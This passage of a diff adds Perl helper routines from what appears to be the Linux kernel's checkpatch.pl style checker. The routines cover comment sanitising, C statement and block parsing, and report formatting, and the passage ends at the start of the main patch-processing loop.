+				substr($res, $off, 1, $c);
+				next;
+			} elsif ($sanitise_quote eq $c) {
+				$sanitise_quote = '';
+			}
+		}
+
+		#print "c<$c> SQ<$sanitise_quote>\n";
+		if ($off != 0 && $sanitise_quote eq '*/' && $c ne "\t") {
+			substr($res, $off, 1, $;);
+		} elsif ($off != 0 && $sanitise_quote eq '//' && $c ne "\t") {
+			substr($res, $off, 1, $;);
+		} elsif ($off != 0 && $sanitise_quote && $c ne "\t") {
+			substr($res, $off, 1, 'X');
+		} else {
+			substr($res, $off, 1, $c);
+		}
+	}
+
+	if ($sanitise_quote eq '//') {
+		$sanitise_quote = '';
+	}
+
+	# The pathname on a #include may be surrounded by '<' and '>'.
+	if ($res =~ /^.\s*\#\s*include\s+\<(.*)\>/) {
+		my $clean = 'X' x length($1);
+		$res =~ s@\<.*\>@<$clean>@;
+
+	# The whole of a #error is a string.
+	} elsif ($res =~ /^.\s*\#\s*(?:error|warning)\s+(.*)\b/) {
+		my $clean = 'X' x length($1);
+		$res =~ s@(\#\s*(?:error|warning)\s+).*@$1$clean@;
+	}
+
+	if ($allow_c99_comments && $res =~ m@(//.*$)@) {
+		my $match = $1;
+		$res =~ s/\Q$match\E/"$;" x length($match)/e;
+	}
+
+	return $res;
+}
+
+sub get_quoted_string {
+	my ($line, $rawline) = @_;
+
+	return "" if (!defined($line) || !defined($rawline));
+	return "" if ($line !~ m/($String)/g);
+	return substr($rawline, $-[0], $+[0] - $-[0]);
+}
+
+sub ctx_statement_block {
+	my ($linenr, $remain, $off) = @_;
+	my $line = $linenr - 1;
+	my $blk = '';
+	my $soff = $off;
+	my $coff = $off - 1;
+	my $coff_set = 0;
+
+	my $loff = 0;
+
+	my $type = '';
+	my $level = 0;
+	my @stack = ();
+	my $p;
+	my $c;
+	my $len = 0;
+
+	my $remainder;
+	while (1) {
+		@stack = (['', 0]) if ($#stack == -1);
+
+		#warn "CSB: blk<$blk> remain<$remain>\n";
+		# If we are about to drop off the end, pull in more
+		# context.
+		if ($off >= $len) {
+			for (; $remain > 0; $line++) {
+				last if (!defined $lines[$line]);
+				next if ($lines[$line] =~ /^-/);
+				$remain--;
+				$loff = $len;
+				$blk .= $lines[$line] . "\n";
+				$len = length($blk);
+				$line++;
+				last;
+			}
+			# Bail if there is no further context.
+			#warn "CSB: blk<$blk> off<$off> len<$len>\n";
+			if ($off >= $len) {
+				last;
+			}
+			if ($level == 0 && substr($blk, $off) =~ /^.\s*#\s*define/) {
+				$level++;
+				$type = '#';
+			}
+		}
+		$p = $c;
+		$c = substr($blk, $off, 1);
+		$remainder = substr($blk, $off);
+
+		#warn "CSB: c<$c> type<$type> level<$level> remainder<$remainder> coff_set<$coff_set>\n";
+
+		# Handle nested #if/#else.
+		if ($remainder =~ /^#\s*(?:ifndef|ifdef|if)\s/) {
+			push(@stack, [ $type, $level ]);
+		} elsif ($remainder =~ /^#\s*(?:else|elif)\b/) {
+			($type, $level) = @{$stack[$#stack - 1]};
+		} elsif ($remainder =~ /^#\s*endif\b/) {
+			($type, $level) = @{pop(@stack)};
+		}
+
+		# Statement ends at the ';' or a close '}' at the
+		# outermost level.
+		if ($level == 0 && $c eq ';') {
+			last;
+		}
+
+		# An else is really a conditional as long as its not else if
+		if ($level == 0 && $coff_set == 0 &&
+				(!defined($p) || $p =~ /(?:\s|\}|\+)/) &&
+				$remainder =~ /^(else)(?:\s|{)/ &&
+				$remainder !~ /^else\s+if\b/) {
+			$coff = $off + length($1) - 1;
+			$coff_set = 1;
+			#warn "CSB: mark coff<$coff> soff<$soff> 1<$1>\n";
+			#warn "[" . substr($blk, $soff, $coff - $soff + 1) . "]\n";
+		}
+
+		if (($type eq '' || $type eq '(') && $c eq '(') {
+			$level++;
+			$type = '(';
+		}
+		if ($type eq '(' && $c eq ')') {
+			$level--;
+			$type = ($level != 0)? '(' : '';
+
+			if ($level == 0 && $coff < $soff) {
+				$coff = $off;
+				$coff_set = 1;
+				#warn "CSB: mark coff<$coff>\n";
+			}
+		}
+		if (($type eq '' || $type eq '{') && $c eq '{') {
+			$level++;
+			$type = '{';
+		}
+		if ($type eq '{' && $c eq '}') {
+			$level--;
+			$type = ($level != 0)? '{' : '';
+
+			if ($level == 0) {
+				if (substr($blk, $off + 1, 1) eq ';') {
+					$off++;
+				}
+				last;
+			}
+		}
+		# Preprocessor commands end at the newline unless escaped.
+		if ($type eq '#' && $c eq "\n" && $p ne "\\") {
+			$level--;
+			$type = '';
+			$off++;
+			last;
+		}
+		$off++;
+	}
+	# We are truly at the end, so shuffle to the next line.
+	if ($off == $len) {
+		$loff = $len + 1;
+		$line++;
+		$remain--;
+	}
+
+	my $statement = substr($blk, $soff, $off - $soff + 1);
+	my $condition = substr($blk, $soff, $coff - $soff + 1);
+
+	#warn "STATEMENT<$statement>\n";
+	#warn "CONDITION<$condition>\n";
+
+	#print "coff<$coff> soff<$off> loff<$loff>\n";
+
+	return ($statement, $condition,
+			$line, $remain + 1, $off - $loff + 1, $level);
+}
+
+sub statement_lines {
+	my ($stmt) = @_;
+
+	# Strip the diff line prefixes and rip blank lines at start and end.
+	$stmt =~ s/(^|\n)./$1/g;
+	$stmt =~ s/^\s*//;
+	$stmt =~ s/\s*$//;
+
+	my @stmt_lines = ($stmt =~ /\n/g);
+
+	return $#stmt_lines + 2;
+}
+
+sub statement_rawlines {
+	my ($stmt) = @_;
+
+	my @stmt_lines = ($stmt =~ /\n/g);
+
+	return $#stmt_lines + 2;
+}
+
+sub statement_block_size {
+	my ($stmt) = @_;
+
+	$stmt =~ s/(^|\n)./$1/g;
+	$stmt =~ s/^\s*{//;
+	$stmt =~ s/}\s*$//;
+	$stmt =~ s/^\s*//;
+	$stmt =~ s/\s*$//;
+
+	my @stmt_lines = ($stmt =~ /\n/g);
+	my @stmt_statements = ($stmt =~ /;/g);
+
+	my $stmt_lines = $#stmt_lines + 2;
+	my $stmt_statements = $#stmt_statements + 1;
+
+	if ($stmt_lines > $stmt_statements) {
+		return $stmt_lines;
+	} else {
+		return $stmt_statements;
+	}
+}
+
+sub ctx_statement_full {
+	my ($linenr, $remain, $off) = @_;
+	my ($statement, $condition, $level);
+
+	my (@chunks);
+
+	# Grab the first conditional/block pair.
+	($statement, $condition, $linenr, $remain, $off, $level) =
+				ctx_statement_block($linenr, $remain, $off);
+	#print "F: c<$condition> s<$statement> remain<$remain>\n";
+	push(@chunks, [ $condition, $statement ]);
+	if (!($remain > 0 && $condition =~ /^\s*(?:\n[+-])?\s*(?:if|else|do)\b/s)) {
+		return ($level, $linenr, @chunks);
+	}
+
+	# Pull in the following conditional/block pairs and see if they
+	# could continue the statement.
+	for (;;) {
+		($statement, $condition, $linenr, $remain, $off, $level) =
+				ctx_statement_block($linenr, $remain, $off);
+		#print "C: c<$condition> s<$statement> remain<$remain>\n";
+		last if (!($remain > 0 && $condition =~ /^(?:\s*\n[+-])*\s*(?:else|do)\b/s));
+		#print "C: push\n";
+		push(@chunks, [ $condition, $statement ]);
+	}
+
+	return ($level, $linenr, @chunks);
+}
+
+sub ctx_block_get {
+	my ($linenr, $remain, $outer, $open, $close, $off) = @_;
+	my $line;
+	my $start = $linenr - 1;
+	my $blk = '';
+	my @o;
+	my @c;
+	my @res = ();
+
+	my $level = 0;
+	my @stack = ($level);
+	for ($line = $start; $remain > 0; $line++) {
+		next if ($rawlines[$line] =~ /^-/);
+		$remain--;
+
+		$blk .= $rawlines[$line];
+
+		# Handle nested #if/#else.
+		if ($lines[$line] =~ /^.\s*#\s*(?:ifndef|ifdef|if)\s/) {
+			push(@stack, $level);
+		} elsif ($lines[$line] =~ /^.\s*#\s*(?:else|elif)\b/) {
+			$level = $stack[$#stack - 1];
+		} elsif ($lines[$line] =~ /^.\s*#\s*endif\b/) {
+			$level = pop(@stack);
+		}
+
+		foreach my $c (split(//, $lines[$line])) {
+			##print "C<$c>L<$level><$open$close>O<$off>\n";
+			if ($off > 0) {
+				$off--;
+				next;
+			}
+
+			if ($c eq $close && $level > 0) {
+				$level--;
+				last if ($level == 0);
+			} elsif ($c eq $open) {
+				$level++;
+			}
+		}
+
+		if (!$outer || $level <= 1) {
+			push(@res, $rawlines[$line]);
+		}
+
+		last if ($level == 0);
+	}
+
+	return ($level, @res);
+}
+sub ctx_block_outer {
+	my ($linenr, $remain) = @_;
+
+	my ($level, @r) = ctx_block_get($linenr, $remain, 1, '{', '}', 0);
+	return @r;
+}
+sub ctx_block {
+	my ($linenr, $remain) = @_;
+
+	my ($level, @r) = ctx_block_get($linenr, $remain, 0, '{', '}', 0);
+	return @r;
+}
+sub ctx_statement {
+	my ($linenr, $remain, $off) = @_;
+
+	my ($level, @r) = ctx_block_get($linenr, $remain, 0, '(', ')', $off);
+	return @r;
+}
+sub ctx_block_level {
+	my ($linenr, $remain) = @_;
+
+	return ctx_block_get($linenr, $remain, 0, '{', '}', 0);
+}
+sub ctx_statement_level {
+	my ($linenr, $remain, $off) = @_;
+
+	return ctx_block_get($linenr, $remain, 0, '(', ')', $off);
+}
+
+sub ctx_locate_comment {
+	my ($first_line, $end_line) = @_;
+
+	# If c99 comment on the current line, or the line before or after
+	my ($current_comment) = ($rawlines[$end_line - 1] =~ m@^\+.*(//.*$)@);
+	return $current_comment if (defined $current_comment);
+	($current_comment) = ($rawlines[$end_line - 2] =~ m@^[\+ ].*(//.*$)@);
+	return $current_comment if (defined $current_comment);
+	($current_comment) = ($rawlines[$end_line] =~ m@^[\+ ].*(//.*$)@);
+	return $current_comment if (defined $current_comment);
+
+	# Catch a comment on the end of the line itself.
+	($current_comment) = ($rawlines[$end_line - 1] =~ m@.*(/\*.*\*/)\s*(?:\\\s*)?$@);
+	return $current_comment if (defined $current_comment);
+
+	# Look through the context and try and figure out if there is a
+	# comment.
+	my $in_comment = 0;
+	$current_comment = '';
+	for (my $linenr = $first_line; $linenr < $end_line; $linenr++) {
+		my $line = $rawlines[$linenr - 1];
+		#warn "           $line\n";
+		if ($linenr == $first_line and $line =~ m@^.\s*\*@) {
+			$in_comment = 1;
+		}
+		if ($line =~ m@/\*@) {
+			$in_comment = 1;
+		}
+		if (!$in_comment && $current_comment ne '') {
+			$current_comment = '';
+		}
+		$current_comment .= $line . "\n" if ($in_comment);
+		if ($line =~ m@\*/@) {
+			$in_comment = 0;
+		}
+	}
+
+	chomp($current_comment);
+	return($current_comment);
+}
+sub ctx_has_comment {
+	my ($first_line, $end_line) = @_;
+	my $cmt = ctx_locate_comment($first_line, $end_line);
+
+	##print "LINE: $rawlines[$end_line - 1 ]\n";
+	##print "CMMT: $cmt\n";
+
+	return ($cmt ne '');
+}
+
+sub raw_line {
+	my ($linenr, $cnt) = @_;
+
+	my $offset = $linenr - 1;
+	$cnt++;
+
+	my $line;
+	while ($cnt) {
+		$line = $rawlines[$offset++];
+		next if (defined($line) && $line =~ /^-/);
+		$cnt--;
+	}
+
+	return $line;
+}
+
+sub get_stat_real {
+	my ($linenr, $lc) = @_;
+
+	my $stat_real = raw_line($linenr, 0);
+	for (my $count = $linenr + 1; $count <= $lc; $count++) {
+		$stat_real = $stat_real . "\n" . raw_line($count, 0);
+	}
+
+	return $stat_real;
+}
+
+sub get_stat_here {
+	my ($linenr, $cnt, $here) = @_;
+
+	my $herectx = $here . "\n";
+	for (my $n = 0; $n < $cnt; $n++) {
+		$herectx .= raw_line($linenr, $n) . "\n";
+	}
+
+	return $herectx;
+}
+
+sub cat_vet {
+	my ($vet) = @_;
+	my ($res, $coded);
+
+	$res = '';
+	while ($vet =~ /([^[:cntrl:]]*)([[:cntrl:]]|$)/g) {
+		$res .= $1;
+		if ($2 ne '') {
+			$coded = sprintf("^%c", unpack('C', $2) + 64);
+			$res .= $coded;
+		}
+	}
+	$res =~ s/$/\$/;
+
+	return $res;
+}
+
+my $av_preprocessor = 0;
+my $av_pending;
+my @av_paren_type;
+my $av_pend_colon;
+
+sub annotate_reset {
+	$av_preprocessor = 0;
+	$av_pending = '_';
+	@av_paren_type = ('E');
+	$av_pend_colon = 'O';
+}
+
+sub annotate_values {
+	my ($stream, $type) = @_;
+
+	my $res;
+	my $var = '_' x length($stream);
+	my $cur = $stream;
+
+	print "$stream\n" if ($dbg_values > 1);
+
+	while (length($cur)) {
+		@av_paren_type = ('E') if ($#av_paren_type < 0);
+		print " <" . join('', @av_paren_type) .
+				"> <$type> <$av_pending>" if ($dbg_values > 1);
+		if ($cur =~ /^(\s+)/o) {
+			print "WS($1)\n" if ($dbg_values > 1);
+			if ($1 =~ /\n/ && $av_preprocessor) {
+				$type = pop(@av_paren_type);
+				$av_preprocessor = 0;
+			}
+
+		} elsif ($cur =~ /^(\(\s*$Type\s*)\)/ && $av_pending eq '_') {
+			print "CAST($1)\n" if ($dbg_values > 1);
+			push(@av_paren_type, $type);
+			$type = 'c';
+
+		} elsif ($cur =~ /^($Type)\s*(?:$Ident|,|\)|\(|\s*$)/) {
+			print "DECLARE($1)\n" if ($dbg_values > 1);
+			$type = 'T';
+
+		} elsif ($cur =~ /^($Modifier)\s*/) {
+			print "MODIFIER($1)\n" if ($dbg_values > 1);
+			$type = 'T';
+
+		} elsif ($cur =~ /^(\#\s*define\s*$Ident)(\(?)/o) {
+			print "DEFINE($1,$2)\n" if ($dbg_values > 1);
+			$av_preprocessor = 1;
+			push(@av_paren_type, $type);
+			if ($2 ne '') {
+				$av_pending = 'N';
+			}
+			$type = 'E';
+
+		} elsif ($cur =~ /^(\#\s*(?:undef\s*$Ident|include\b))/o) {
+			print "UNDEF($1)\n" if ($dbg_values > 1);
+			$av_preprocessor = 1;
+			push(@av_paren_type, $type);
+
+		} elsif ($cur =~ /^(\#\s*(?:ifdef|ifndef|if))/o) {
+			print "PRE_START($1)\n" if ($dbg_values > 1);
+			$av_preprocessor = 1;
+
+			push(@av_paren_type, $type);
+			push(@av_paren_type, $type);
+			$type = 'E';
+
+		} elsif ($cur =~ /^(\#\s*(?:else|elif))/o) {
+			print "PRE_RESTART($1)\n" if ($dbg_values > 1);
+			$av_preprocessor = 1;
+
+			push(@av_paren_type, $av_paren_type[$#av_paren_type]);
+
+			$type = 'E';
+
+		} elsif ($cur =~ /^(\#\s*(?:endif))/o) {
+			print "PRE_END($1)\n" if ($dbg_values > 1);
+
+			$av_preprocessor = 1;
+
+			# Assume all arms of the conditional end as this
+			# one does, and continue as if the #endif was not here.
+			pop(@av_paren_type);
+			push(@av_paren_type, $type);
+			$type = 'E';
+
+		} elsif ($cur =~ /^(\\\n)/o) {
+			print "PRECONT($1)\n" if ($dbg_values > 1);
+
+		} elsif ($cur =~ /^(__attribute__)\s*\(?/o) {
+			print "ATTR($1)\n" if ($dbg_values > 1);
+			$av_pending = $type;
+			$type = 'N';
+
+		} elsif ($cur =~ /^(sizeof)\s*(\()?/o) {
+			print "SIZEOF($1)\n" if ($dbg_values > 1);
+			if (defined $2) {
+				$av_pending = 'V';
+			}
+			$type = 'N';
+
+		} elsif ($cur =~ /^(if|while|for)\b/o) {
+			print "COND($1)\n" if ($dbg_values > 1);
+			$av_pending = 'E';
+			$type = 'N';
+
+		} elsif ($cur =~/^(case)/o) {
+			print "CASE($1)\n" if ($dbg_values > 1);
+			$av_pend_colon = 'C';
+			$type = 'N';
+
+		} elsif ($cur =~/^(return|else|goto|typeof|__typeof__)\b/o) {
+			print "KEYWORD($1)\n" if ($dbg_values > 1);
+			$type = 'N';
+
+		} elsif ($cur =~ /^(\()/o) {
+			print "PAREN('$1')\n" if ($dbg_values > 1);
+			push(@av_paren_type, $av_pending);
+			$av_pending = '_';
+			$type = 'N';
+
+		} elsif ($cur =~ /^(\))/o) {
+			my $new_type = pop(@av_paren_type);
+			if ($new_type ne '_') {
+				$type = $new_type;
+				print "PAREN('$1') -> $type\n"
+							if ($dbg_values > 1);
+			} else {
+				print "PAREN('$1')\n" if ($dbg_values > 1);
+			}
+
+		} elsif ($cur =~ /^($Ident)\s*\(/o) {
+			print "FUNC($1)\n" if ($dbg_values > 1);
+			$type = 'V';
+			$av_pending = 'V';
+
+		} elsif ($cur =~ /^($Ident\s*):(?:\s*\d+\s*(,|=|;))?/) {
+			if (defined $2 && $type eq 'C' || $type eq 'T') {
+				$av_pend_colon = 'B';
+			} elsif ($type eq 'E') {
+				$av_pend_colon = 'L';
+			}
+			print "IDENT_COLON($1,$type>$av_pend_colon)\n" if ($dbg_values > 1);
+			$type = 'V';
+
+		} elsif ($cur =~ /^($Ident|$Constant)/o) {
+			print "IDENT($1)\n" if ($dbg_values > 1);
+			$type = 'V';
+
+		} elsif ($cur =~ /^($Assignment)/o) {
+			print "ASSIGN($1)\n" if ($dbg_values > 1);
+			$type = 'N';
+
+		} elsif ($cur =~/^(;|{|})/) {
+			print "END($1)\n" if ($dbg_values > 1);
+			$type = 'E';
+			$av_pend_colon = 'O';
+
+		} elsif ($cur =~/^(,)/) {
+			print "COMMA($1)\n" if ($dbg_values > 1);
+			$type = 'C';
+
+		} elsif ($cur =~ /^(\?)/o) {
+			print "QUESTION($1)\n" if ($dbg_values > 1);
+			$type = 'N';
+
+		} elsif ($cur =~ /^(:)/o) {
+			print "COLON($1,$av_pend_colon)\n" if ($dbg_values > 1);
+
+			substr($var, length($res), 1, $av_pend_colon);
+			if ($av_pend_colon eq 'C' || $av_pend_colon eq 'L') {
+				$type = 'E';
+			} else {
+				$type = 'N';
+			}
+			$av_pend_colon = 'O';
+
+		} elsif ($cur =~ /^(\[)/o) {
+			print "CLOSE($1)\n" if ($dbg_values > 1);
+			$type = 'N';
+
+		} elsif ($cur =~ /^(-(?![->])|\+(?!\+)|\*|\&\&|\&)/o) {
+			my $variant;
+
+			print "OPV($1)\n" if ($dbg_values > 1);
+			if ($type eq 'V') {
+				$variant = 'B';
+			} else {
+				$variant = 'U';
+			}
+
+			substr($var, length($res), 1, $variant);
+			$type = 'N';
+
+		} elsif ($cur =~ /^($Operators)/o) {
+			print "OP($1)\n" if ($dbg_values > 1);
+			if ($1 ne '++' && $1 ne '--') {
+				$type = 'N';
+			}
+
+		} elsif ($cur =~ /(^.)/o) {
+			print "C($1)\n" if ($dbg_values > 1);
+		}
+		if (defined $1) {
+			$cur = substr($cur, length($1));
+			$res .= $type x length($1);
+		}
+	}
+
+	return ($res, $var);
+}
+
+sub possible {
+	my ($possible, $line) = @_;
+	my $notPermitted = qr{(?:
+		^(?:
+			$Modifier|
+			$Storage|
+			$Type|
+			DEFINE_\S+
+		)$|
+		^(?:
+			goto|
+			return|
+			case|
+			else|
+			asm|__asm__|
+			do|
+			\#|
+			\#\#|
+		)(?:\s|$)|
+		^(?:typedef|struct|enum)\b
+	    )}x;
+	warn "CHECK<$possible> ($line)\n" if ($dbg_possible > 2);
+	if ($possible !~ $notPermitted) {
+		# Check for modifiers.
+		$possible =~ s/\s*$Storage\s*//g;
+		$possible =~ s/\s*$Sparse\s*//g;
+		if ($possible =~ /^\s*$/) {
+
+		} elsif ($possible =~ /\s/) {
+			$possible =~ s/\s*$Type\s*//g;
+			for my $modifier (split(' ', $possible)) {
+				if ($modifier !~ $notPermitted) {
+					warn "MODIFIER: $modifier ($possible) ($line)\n" if ($dbg_possible);
+					push(@modifierListFile, $modifier);
+				}
+			}
+
+		} else {
+			warn "POSSIBLE: $possible ($line)\n" if ($dbg_possible);
+			push(@typeListFile, $possible);
+		}
+		build_types();
+	} else {
+		warn "NOTPOSS: $possible ($line)\n" if ($dbg_possible > 1);
+	}
+}
+
+my $prefix = '';
+
+sub show_type {
+	my ($type) = @_;
+
+	$type =~ tr/[a-z]/[A-Z]/;
+
+	return defined $use_type{$type} if (scalar keys %use_type > 0);
+
+	return !defined $ignore_type{$type};
+}
+
+sub report {
+	my ($level, $type, $msg) = @_;
+
+	if (!show_type($type) ||
+	    (defined $tst_only && $msg !~ /\Q$tst_only\E/)) {
+		return 0;
+	}
+	my $output = '';
+	if ($color) {
+		if ($level eq 'ERROR') {
+			$output .= RED;
+		} elsif ($level eq 'WARNING') {
+			$output .= YELLOW;
+		} else {
+			$output .= GREEN;
+		}
+	}
+	$output .= $prefix . $level . ':';
+	if ($show_types) {
+		$output .= BLUE if ($color);
+		$output .= "$type:";
+	}
+	$output .= RESET if ($color);
+	$output .= ' ' . $msg . "\n";
+
+	if ($showfile) {
+		my @lines = split("\n", $output, -1);
+		splice(@lines, 1, 1);
+		$output = join("\n", @lines);
+	}
+
+	if ($terse) {
+		$output = (split('\n', $output))[0] . "\n";
+	}
+
+	if ($verbose && exists($verbose_messages{$type}) &&
+	    !exists($verbose_emitted{$type})) {
+		$output .= $verbose_messages{$type} . "\n\n";
+		$verbose_emitted{$type} = 1;
+	}
+
+	push(our @report, $output);
+
+	return 1;
+}
+
+sub report_dump {
+	our @report;
+}
+
+sub fixup_current_range {
+	my ($lineRef, $offset, $length) = @_;
+
+	if ($$lineRef =~ /^\@\@ -\d+,\d+ \+(\d+),(\d+) \@\@/) {
+		my $o = $1;
+		my $l = $2;
+		my $no = $o + $offset;
+		my $nl = $l + $length;
+		$$lineRef =~ s/\+$o,$l \@\@/\+$no,$nl \@\@/;
+	}
+}
+
+sub fix_inserted_deleted_lines {
+	my ($linesRef, $insertedRef, $deletedRef) = @_;
+
+	my $range_last_linenr = 0;
+	my $delta_offset = 0;
+
+	my $old_linenr = 0;
+	my $new_linenr = 0;
+
+	my $next_insert = 0;
+	my $next_delete = 0;
+
+	my @lines = ();
+
+	my $inserted = @{$insertedRef}[$next_insert++];
+	my $deleted = @{$deletedRef}[$next_delete++];
+
+	foreach my $old_line (@{$linesRef}) {
+		my $save_line = 1;
+		my $line = $old_line;	#don't modify the array
+		if ($line =~ /^(?:\+\+\+|\-\-\-)\s+\S+/) {	#new filename
+			$delta_offset = 0;
+		} elsif ($line =~ /^\@\@ -\d+,\d+ \+\d+,\d+ \@\@/) {	#new hunk
+			$range_last_linenr = $new_linenr;
+			fixup_current_range(\$line, $delta_offset, 0);
+		}
+
+		while (defined($deleted) && ${$deleted}{'LINENR'} == $old_linenr) {
+			$deleted = @{$deletedRef}[$next_delete++];
+			$save_line = 0;
+			fixup_current_range(\$lines[$range_last_linenr], $delta_offset--, -1);
+		}
+
+		while (defined($inserted) && ${$inserted}{'LINENR'} == $old_linenr) {
+			push(@lines, ${$inserted}{'LINE'});
+			$inserted = @{$insertedRef}[$next_insert++];
+			$new_linenr++;
+			fixup_current_range(\$lines[$range_last_linenr], $delta_offset++, 1);
+		}
+
+		if ($save_line) {
+			push(@lines, $line);
+			$new_linenr++;
+		}
+
+		$old_linenr++;
+	}
+
+	return @lines;
+}
+
+sub fix_insert_line {
+	my ($linenr, $line) = @_;
+
+	my $inserted = {
+		LINENR => $linenr,
+		LINE => $line,
+	};
+	push(@fixed_inserted, $inserted);
+}
+
+sub fix_delete_line {
+	my ($linenr, $line) = @_;
+
+	my $deleted = {
+		LINENR => $linenr,
+		LINE => $line,
+	};
+
+	push(@fixed_deleted, $deleted);
+}
+
+sub ERROR {
+	my ($type, $msg) = @_;
+
+	if (report("ERROR", $type, $msg)) {
+		our $clean = 0;
+		our $cnt_error++;
+		return 1;
+	}
+	return 0;
+}
+sub WARN {
+	my ($type, $msg) = @_;
+
+	if (report("WARNING", $type, $msg)) {
+		our $clean = 0;
+		our $cnt_warn++;
+		return 1;
+	}
+	return 0;
+}
+sub CHK {
+	my ($type, $msg) = @_;
+
+	if ($check && report("CHECK", $type, $msg)) {
+		our $clean = 0;
+		our $cnt_chk++;
+		return 1;
+	}
+	return 0;
+}
+
+sub check_absolute_file {
+	my ($absolute, $herecurr) = @_;
+	my $file = $absolute;
+
+	##print "absolute<$absolute>\n";
+
+	# See if any suffix of this path is a path within the tree.
+	while ($file =~ s@^[^/]*/@@) {
+		if (-f "$root/$file") {
+			##print "file<$file>\n";
+			last;
+		}
+	}
+	if (! -f _)  {
+		return 0;
+	}
+
+	# It is, so see if the prefix is acceptable.
+	my $prefix = $absolute;
+	substr($prefix, -length($file)) = '';
+
+	##print "prefix<$prefix>\n";
+	if ($prefix ne ".../") {
+		WARN("USE_RELATIVE_PATH",
+		     "use relative pathname instead of absolute in changelog text\n" . $herecurr);
+	}
+}
+
+sub trim {
+	my ($string) = @_;
+
+	$string =~ s/^\s+|\s+$//g;
+
+	return $string;
+}
+
+sub ltrim {
+	my ($string) = @_;
+
+	$string =~ s/^\s+//;
+
+	return $string;
+}
+
+sub rtrim {
+	my ($string) = @_;
+
+	$string =~ s/\s+$//;
+
+	return $string;
+}
+
+sub string_find_replace {
+	my ($string, $find, $replace) = @_;
+
+	$string =~ s/$find/$replace/g;
+
+	return $string;
+}
+
+sub tabify {
+	my ($leading) = @_;
+
+	my $source_indent = $tabsize;
+	my $max_spaces_before_tab = $source_indent - 1;
+	my $spaces_to_tab = " " x $source_indent;
+
+	#convert leading spaces to tabs
+	1 while $leading =~ s@^([\t]*)$spaces_to_tab@$1\t@g;
+	#Remove spaces before a tab
+	1 while $leading =~ s@^([\t]*)( {1,$max_spaces_before_tab})\t@$1\t@g;
+
+	return "$leading";
+}
+
+sub pos_last_openparen {
+	my ($line) = @_;
+
+	my $pos = 0;
+
+	my $opens = $line =~ tr/\(/\(/;
+	my $closes = $line =~ tr/\)/\)/;
+
+	my $last_openparen = 0;
+
+	if (($opens == 0) || ($closes >= $opens)) {
+		return -1;
+	}
+
+	my $len = length($line);
+
+	for ($pos = 0; $pos < $len; $pos++) {
+		my $string = substr($line, $pos);
+		if ($string =~ /^($FuncArg|$balanced_parens)/) {
+			$pos += length($1) - 1;
+		} elsif (substr($line, $pos, 1) eq '(') {
+			$last_openparen = $pos;
+		} elsif (index($string, '(') == -1) {
+			last;
+		}
+	}
+
+	return length(expand_tabs(substr($line, 0, $last_openparen))) + 1;
+}
+
+sub get_raw_comment {
+	my ($line, $rawline) = @_;
+	my $comment = '';
+
+	for my $i (0 .. (length($line) - 1)) {
+		if (substr($line, $i, 1) eq "$;") {
+			$comment .= substr($rawline, $i, 1);
+		}
+	}
+
+	return $comment;
+}
+
+sub exclude_global_initialisers {
+	my ($realfile) = @_;
+
+	# Do not check for BPF programs (tools/testing/selftests/bpf/progs/*.c, samples/bpf/*_kern.c, *.bpf.c).
+	return $realfile =~ m@^tools/testing/selftests/bpf/progs/.*\.c$@ ||
+		$realfile =~ m@^samples/bpf/.*_kern\.c$@ ||
+		$realfile =~ m@/bpf/.*\.bpf\.c$@;
+}
+
+sub process {
+	my $filename = shift;
+
+	my $linenr=0;
+	my $prevline="";
+	my $prevrawline="";
+	my $stashline="";
+	my $stashrawline="";
+
+	my $length;
+	my $indent;
+	my $previndent=0;
+	my $stashindent=0;
+
+	our $clean = 1;
+	my $signoff = 0;
+	my $author = '';
+	my $authorsignoff = 0;
+	my $author_sob = '';
+	my $is_patch = 0;
+	my $is_binding_patch = -1;
+	my $in_header_lines = $file ? 0 : 1;
+	my $in_commit_log = 0;		#Scanning lines before patch
+	my $has_patch_separator = 0;	#Found a --- line
+	my $has_commit_log = 0;		#Encountered lines before patch
+	my $commit_log_lines = 0;	#Number of commit log lines
+	my $commit_log_possible_stack_dump = 0;
+	my $commit_log_long_line = 0;
+	my $commit_log_has_diff = 0;
+	my $reported_maintainer_file = 0;
+	my $non_utf8_charset = 0;
+
+	my $last_git_commit_id_linenr = -1;
+
+	my $last_blank_line = 0;
+	my $last_coalesced_string_linenr = -1;
+
+	our @report = ();
+	our $cnt_lines = 0;
+	our $cnt_error = 0;
+	our $cnt_warn = 0;
+	our $cnt_chk = 0;
+
+	# Trace the real file/line as we go.
+	my $realfile = '';
+	my $realline = 0;
+	my $realcnt = 0;
+	my $here = '';
+	my $context_function;		#undef'd unless there's a known function
+	my $in_comment = 0;
+	my $comment_edge = 0;
+	my $first_line = 0;
+	my $p1_prefix = '';
+
+	my $prev_values = 'E';
+
+	# suppression flags
+	my %suppress_ifbraces;
+	my %suppress_whiletrailers;
+	my %suppress_export;
+	my $suppress_statement = 0;
+
+	my %signatures = ();
+
+	# Pre-scan the patch sanitizing the lines.
+	# Pre-scan the patch looking for any __setup documentation.
+	#
+	my @setup_docs = ();
+	my $setup_docs = 0;
+
+	my $camelcase_file_seeded = 0;
+
+	my $checklicenseline = 1;
+
+	sanitise_line_reset();
+	my $line;
+	foreach my $rawline (@rawlines) {
+		$linenr++;
+		$line = $rawline;
+
+		push(@fixed, $rawline) if ($fix);
+
+		if ($rawline=~/^\+\+\+\s+(\S+)/) {
+			$setup_docs = 0;
+			if ($1 =~ m@Documentation/admin-guide/kernel-parameters.txt$@) {
+				$setup_docs = 1;
+			}
+			#next;
+		}
+		if ($rawline =~ /^\@\@ -\d+(?:,\d+)? \+(\d+)(,(\d+))? \@\@/) {
+			$realline=$1-1;
+			if (defined $2) {
+				$realcnt=$3+1;
+			} else {
+				$realcnt=1+1;
+			}
+			$in_comment = 0;
+
+			# Guestimate if this is a continuing comment.  Run
+			# the context looking for a comment "edge".  If this
+			# edge is a close comment then we must be in a comment
+			# at context start.
+			my $edge;
+			my $cnt = $realcnt;
+			for (my $ln = $linenr + 1; $cnt > 0; $ln++) {
+				next if (defined $rawlines[$ln - 1] &&
+					 $rawlines[$ln - 1] =~ /^-/);
+				$cnt--;
+				#print "RAW<$rawlines[$ln - 1]>\n";
+				last if (!defined $rawlines[$ln - 1]);
+				if ($rawlines[$ln - 1] =~ m@(/\*|\*/)@ &&
+				    $rawlines[$ln - 1] !~ m@"[^"]*(?:/\*|\*/)[^"]*"@) {
+					($edge) = $1;
+					last;
+				}
+			}
+			if (defined $edge && $edge eq '*/') {
+				$in_comment = 1;
+			}
+
+			# Guestimate if this is a continuing comment.  If this
+			# is the start of a diff block and this line starts
+			# ' *' then it is very likely a comment.
+			if (!defined $edge &&
